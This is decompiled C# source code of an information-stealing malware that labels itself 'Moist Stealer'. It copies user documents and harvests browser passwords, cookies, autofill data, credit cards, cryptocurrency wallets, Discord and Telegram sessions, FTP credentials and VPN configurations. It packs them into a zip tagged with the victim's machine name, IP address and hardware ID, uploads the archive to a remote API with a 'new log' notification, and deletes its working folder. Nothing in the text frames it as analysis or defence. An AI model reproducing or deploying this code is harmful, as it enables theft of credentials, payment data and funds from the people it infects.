// Token: 0x06000212 RID: 530 RVA: 0x0001097C File Offset: 0x0000EB7C
private static long smethod_0(string string_0, long long_0 = 0L)
{
try
{
foreach (string fileName in Directory.EnumerateFiles(string_0))
{
try
{
long_0 += new FileInfo(fileName).Length;
}
catch
{
}
}
foreach (string string_ in Directory.EnumerateDirectories(string_0))
{
try
{
long_0 += GetFiles.smethod_0(string_, 0L);
}
catch
{
}
}
}
catch
{
}
return(long_0);
}
// Token: 0x06000211 RID: 529 RVA: 0x000108E4 File Offset: 0x0000EAE4
public static void Inizialize(string Moist_Dir)
{
try
{
string text = Moist_Dir + "\\Files";
Directory.CreateDirectory(text);
if (!Directory.Exists(text))
{
GetFiles.Inizialize(text);
}
else
{
GetFiles.CopyDirectory(Help.DesktopPath, text, "*.*", (long)Class1.int_0);
GetFiles.CopyDirectory(Help.MyDocuments, text, "*.*", (long)Class1.int_0);
GetFiles.CopyDirectory(Help.UserProfile + "\\source", text, "*.*", (long)Class1.int_0);
}
}
catch
{
}
}
public static void GetStealer()
{
try
{
Directory.CreateDirectory(Help.Moist_Dir);
Directory.CreateDirectory(Help.Browsers);
Directory.CreateDirectory(Help.Passwords);
Directory.CreateDirectory(Help.Autofills);
Directory.CreateDirectory(Help.Downloads);
Directory.CreateDirectory(Help.Cookies);
Directory.CreateDirectory(Help.History);
Directory.CreateDirectory(Help.Cards);
File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory);
GetFiles.Inizialize(Help.Moist_Dir);
Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000));
try
{
Class4.smethod_0(Help.Cookies);
}
catch
{
}
try
{
Class4.PlqfdbrYf(Help.Passwords);
}
catch
{
}
try
{
Class4.smethod_2(Help.Autofills);
}
catch
{
}
try
{
Class4.smethod_3(Help.Downloads);
}
catch
{
}
try
{
Class4.smethod_4(Help.History);
}
catch
{
}
try
{
Class4.smethod_1(Help.Cards);
}
catch
{
}
try
{
Class12.smethod_2();
}
catch
{
}
try
{
Class12.smethod_3();
}
catch
{
}
try
{
Class25.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class15.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class24.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class23.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class20.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
TGrabber.Start(Help.Moist_Dir);
}
catch
{
}
try
{
Class14.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class21.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class13.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class22.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class16.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class17.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class37.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
DomainDetect.Start(Help.Browsers);
}
catch
{
}
string text = string.Concat(new string[]
{
Help.dir,
"\\",
Help.HWID,
Help.smethod_0(),
".zip"
});
using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866")))
{
zipFile.CompressionLevel = 9;
zipFile.Comment = string.Concat(new string[]
{
"Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:",
Environment.MachineName,
"/",
Environment.UserName,
"\nIP: ",
Help.IP,
Help.Country(),
"\nHWID: ",
Help.HWID
});
zipFile.AddDirectory(Help.Moist_Dir ?? "");
zipFile.Save(text ?? "");
}
string text2 = text ?? "";
byte[] file = File.ReadAllBytes(text2);
string url = string.Concat(new string[]
{
Help.ApiUrl,
"?id=",
Class1.string_0,
"&caption=",
"⚡️ Moist Stealer Gate detected new log! ⚡️\n",
"\ud83d\udd25 User: "******"/",
Environment.UserName,
" \ud83d\udd25\n",
"\ud83c\udf0d IP: " + Help.IP,
" ",
Help.Country(),
"\n\n",
string.Concat(new string[]
{
"\n\ud83c\udf10 Browsers Data\nPasswords: ",
(Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(),
"\nCookies: ",
(Class4.int_3 + Class12.int_0).ToString(),
"\nHistory: ",
Class4.int_4.ToString(),
"\nAutofill: ",
Class4.int_1.ToString(),
"\nCC: ",
Class4.int_5.ToString(),
"\n"
}),
string.Concat(new string[]
{
"\n\ud83d\udcb6 Wallets: ",
(Class37.int_0 > 0) ? "Yes" : "No",
(Class31.int_0 > 0) ? " Electrum" : "",
(Class26.int_0 > 0) ? " Armory" : "",
(Class27.int_0 > 0) ? " Atomic" : "",
(Class28.int_0 > 0) ? " BitcoinCore" : "",
(Class29.int_0 > 0) ? " Bytecoin" : "",
(Class30.int_0 > 0) ? " DashCore" : "",
(Class32.int_0 > 0) ? " Ethereum" : "",
(Class33.int_0 > 0) ? " Exodus" : "",
(Class35.int_0 > 0) ? " LitecoinCore" : "",
(Class36.int_0 > 0) ? " Monero" : "",
(Class38.int_0 > 0) ? " Zcash" : "",
(Class34.int_0 > 0) ? " Jaxx" : "",
"\n\n\ud83e\uddf2 Grabbed files: ",
GetFiles.count.ToString(),
"\n\ud83d\udcac Discord: ",
(Class14.int_0 > 0) ? "Yes" : "No",
"\n\ud83d\udee9 Telegram: ",
(TGrabber.count > 0) ? "Yes" : "No",
"\n\ud83d\udca1 Jabber: ",
(Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No",
(Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "",
(Class20.int_0 > 0) ? " Psi" : "",
"\n\n\ud83d\udce1 FTP\nFileZilla: ",
(Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No",
"\nTotalCmd: ",
(Class17.int_0 > 0) ? "Yes" : "No",
"\n\n⚖️ VPN\nNordVPN: ",
(Class23.int_0 > 0) ? "Yes" : "No",
"\nOpenVPN: ",
(Class24.int_0 > 0) ? "Yes" : "No",
"\nProtonVPN: ",
(Class25.int_0 > 0) ? "Yes" : "No",
"\n\nHWID: ",
Help.HWID,
"\n⚙️ ",
Class22.smethod_4(),
"\n\ud83d\udd0e Domain detect",
File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
})
});
SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url);
Directory.Delete(Help.dir + "\\", true);
File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
}
catch
{
}
}
// Token: 0x06000213 RID: 531 RVA: 0x00010A54 File Offset: 0x0000EC54
public static void CopyDirectory(string source, string target, string pattern, long maxSize)
{
Stack <GetFiles.Folders> stack = new Stack <GetFiles.Folders>();
stack.Push(new GetFiles.Folders(source, target));
long num = GetFiles.smethod_0(target, 0L);
while (stack.Count > 0)
{
GetFiles.Folders folders = stack.Pop();
try
{
Directory.CreateDirectory(folders.Target);
foreach (string text in Directory.EnumerateFiles(folders.Source, pattern))
{
try
{
if (Array.IndexOf <string>(Class1.string_1, Path.GetExtension(text).ToLower()) >= 0)
{
string text2 = Path.Combine(folders.Target, Path.GetFileName(text));
if (new FileInfo(text).Length / 1024L < 5000L)
{
File.Copy(text, text2);
num += new FileInfo(text2).Length;
if (num > maxSize)
{
return;
}
GetFiles.count++;
}
}
}
catch
{
}
}
}
catch (UnauthorizedAccessException)
{
continue;
}
catch (PathTooLongException)
{
continue;
}
try
{
foreach (string text3 in Directory.EnumerateDirectories(folders.Source))
{
try
{
if (!text3.Contains(Path.Combine(Help.DesktopPath, Environment.UserName)))
{
stack.Push(new GetFiles.Folders(text3, Path.Combine(folders.Target, Path.GetFileName(text3))));
}
}
catch
{
}
}
}
catch (UnauthorizedAccessException)
{
}
catch (DirectoryNotFoundException)
{
}
catch (PathTooLongException)
{
}
}
stack.Clear();
}
